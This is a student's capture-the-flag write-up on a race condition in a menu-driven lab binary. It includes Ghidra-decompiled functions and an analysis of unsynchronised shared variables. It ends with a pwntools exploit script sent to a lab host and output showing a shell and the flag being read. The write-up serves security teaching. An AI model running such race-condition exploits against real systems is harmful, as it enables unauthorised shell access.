Shanghai Jiao Tong University

race 1

Ng Tze Kean
Student number: 721370290002

Problem

The problem that we are tackling this time is a race condition in the given program. What we first try to do is to examine the behavior of the program. We test the different menu options of the program and we can guess that there is a type of sequence that we have to input fast enough to cause a race condition.

```
test@115-18:~$ ./race
***** race *****
*** 1:Go
*** 2:Chance
*** 3:Test
*** 4:Exit
************************************
```

It is likely that the race condition is the case statement for switching between the different menu options or that there is some variable that is checked against that is not well protected against modification.

```
if (choice == 4) {
  menu_exit();
}
else if (choice < 5) {
  if (choice == 3) {
    menu_test();
  }
  else if (choice < 4) {
    if (choice == 1) {
      menu_go();
    }
    else if (choice == 2) {
                  /* creates a new thread to run menu_chance */
      ret1 = pthread_create(&th1,(pthread_attr_t *)0x0,menu_chance,&pstr1);
    }
  }
}
```

To investigate further we use ghidra to examine the nature of the program by decompiling the program. Through examination, we can see that `menu_chance` is being created in another thread. It is very likely that the exploit will make use of the race condition between `menu_go` and `menu_chance`. There is also a function `menu_test` that performs a check, and if the check is successful, it will return that we "win" instead of "lose".

Idea and Attack process

Now that we narrow down the problem, we want to strategic our approach. We take a look at the `menu_go` and `menu_chance` in ghidra and we notice that there are a few checks before variable `a` and `b` is modified.

```
void menu_go(void)
{
  int in_GS_OFFSET;
  if (a_sleep == 0) {
    a = a + 5;
  }
  else {
    a_sleep = 0;
  }
  b = b + 2;
  if (*(int *)(in_GS_OFFSET + 0x14) != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

undefined4 menu_chance(void)
{
  int iVar1;
  undefined4 uVar2;
  int in_GS_OFFSET;

  iVar1 = *(int *)(in_GS_OFFSET + 0x14);
  if (b < a) {
    if (flag == 1) {
```

```
      a_sleep = 1;
      FUN_00011110(1);
      flag = 0;
    }
    else {
                    /* enters here if Chance is selected more than once */
      FUN_00011130("Only have one chance");
    }
  }
  else {
                    /* prints "No" if Go has never been selected */
    FUN_00011130(&DAT_00012008);
  }
  uVar2 = 0;
  if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
    uVar2 = __stack_chk_fail_local();
  }
  return uVar2;
}
```

We can guess that `menu_chance` is manipulating some value that is checked in `menu_test`. Through examination of `menu_test` we can see that there a check on `a<b` before we can win. In `menu_go`, it is likely that `a_sleep` is initialized to 0. Thus, causing `a<b` to be false as the if loop would be executed. We are also not able to call `menu_chance` first as there is a check that `menu_go` is first called. We now assume that `a` is minimally 5, then b must be at least 6 for us to win. Then, we must call `menu_go` at least 2 more times without running the `if` segment of the code such that only b is incremented. By doing so, we are able to increment `b` to 6 on the 3rd call.

```
  if (a < b) {
    apcStack_2c[0] = "Win!";
    ppcVar3 = apcStack_2c;
    FUN_00011130();
    apcStack_2c[0] = "/bin/sh";
    FUN_00011140();
    apcStack_2c[0] = (char *)0x0;
    FUN_00011150();
  }

```

We note that `menu_chance` is called through spawning another thread and this is likely where the race condition can be exploited. We can see that there is a check for `flag==1` and since this is not a protected variable, assuming that `b<a` then we can call `menu_chance` again and still get to set `a_sleep=1`.
Now we can formulate our attack. We first call `menu_go` and we will having `a=5` and `b=2` we will call `menu_chance`, allowing us to update `a_sleep=1`, we quickly call `menu_go` to update `b=4` and before the first thread for `menu_chance` updates `flag`, we call `menu_chance` again, allowing us to set `a_sleep=1` once again. Now, we can call `menu_go` one more time, setting `b=6`. With that, we can now call `menu_test` allowing us to fulfill the check condition.

```
from  pwn import *

context.arch = 'i386'
race = remote('10.0.0.10',40015)
race.recvuntil(b'>')
race.sendline(b'1')
race.recvuntil(b'>')
race.sendline(b'2')

race.recvuntil(b'>')
race.sendline(b'1')
race.recvuntil(b'>')
race.sendline(b'2')

race.recvuntil(b'>')
race.sendline(b'1')
race.recvuntil(b'>')
race.sendline(b'3')
# wait for response
print(race.recvline())
race.interactive()
```

we create a python program that aids us in calling the required choices fast enough such that the race condition happens. Running the above python code allows us to 'win' the CTF. Running the above in python3 with pwntools package installed will allow us to run the exploit successfully.

```
test@115-18:~$ python3 another.py
Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Opening connection to 10.0.0.10 on port 40015: Done
[*] Switching to interactive mode
Win!
$ whoami
ctfer
$ cat flag
flag{race_r3ce_Race!!!!}
```